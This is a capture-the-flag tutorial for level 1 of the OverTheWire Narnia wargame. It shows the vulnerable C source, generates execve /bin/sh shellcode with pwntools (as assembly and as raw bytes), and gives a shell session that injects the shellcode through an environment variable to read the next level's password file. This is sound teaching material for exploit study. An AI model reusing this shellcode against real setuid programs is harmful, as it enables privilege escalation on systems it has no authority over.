Authors note: This is being posted early, as I want to spend time AFK tomorrow...
In yesterdays writeup we exploited the first level of the Narnia wargame hosted by Over the Wire. Todays writeup is a short one, and shows how we exploited the second level, level 1. It is super trivial.
In order to play level 1, you need to defeat level 0 and get the password. As usual, you connect via ssh
to "narnia.labs.overthewire.org" on port 2226. The username is "narnia1". Go get the password yourself!
As usual, the source code and challenge binary are in /narnia/
, i.e. the "narnia1.c" source file and the "narnia1" binary, and our goal is to read the /etc/narnia_pass/narnia2
file, in order to get the password for level 2.
We will start with a quick look at the source code of the challenge.
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
...Ok, this one is pretty simple. We have to put some executable machine code (shellcode) in an environmental variable named "EGG", and the binary will run it. Not really much to it, is there?
So, I guess in order for this blogpost to be worthwhile, I'll teach you something useful/cool. Lets learn how to generate shellcode using the "pwntools" python library for exploit development, and use that shellcode to defeat this challenge!
Firstly, we need to install pwntools. Assuming you are on a working Linux box, and have Python/Pip installed, just run pip install pwntools
. Reading the manual is highly advised.
Now, lets open a Python session and start generating ourselves some shellcode using pwntools.
$ python
Python 2.7.13 (default, Jan 19 2017, 14:48:08)
[GCC 6.3.0 20170118] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> print pwnlib.shellcraft.linux.sh()
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
>>>
The "pwnlib.shellcraft" functions allow us to generate shellcode. Given we are exploiting a Linux system, we choose "linux" as the platform. Luckily, we can also just generate a "spawn a shell" shellcode with the "sh" function. So, when we print the output of "pwnlib.shellcraft.linux.sh()", we get assembly code that will give us shellcode that spawns a shell.
Pwntools also allows us to assemble this, by passing the output of this function to another function named "asm". Lets do this.
>>> asm(pwnlib.shellcraft.linux.sh())
'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
>>>
Screenshot of this:
The string returned to us is some shellcode that should run "/bin/sh" when executed, in a printable format. Presumably, if we provide this shellcode as an environmental variable, and run the "narnia1" binary, we will get a shell. Lets try that!
narnia1@narnia:/narnia$ id
uid=14001(narnia1) gid=14001(narnia1) groups=14001(narnia1)
narnia1@narnia:/narnia$ EGG=$(echo -ne 'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80') ./narnia1
Trying to execute EGG!
$ id
uid=14001(narnia1) gid=14001(narnia1) euid=14002(narnia2) groups=14002(narnia2),14001(narnia1)
$ cat /etc/narnia_pass/narnia2
[REDACTED]
$
It works! Again, note how we ended up with the euid of "narnia2" and we were able to read the flag! We have now defeated level 1, and can move on. As the game progresses, the challenges will get harder. These early ones, however, are useful for learning some useful concepts for later on!
As always, any feedback or suggestions is highly desirable, along with any questions, which I will endeavour to answer!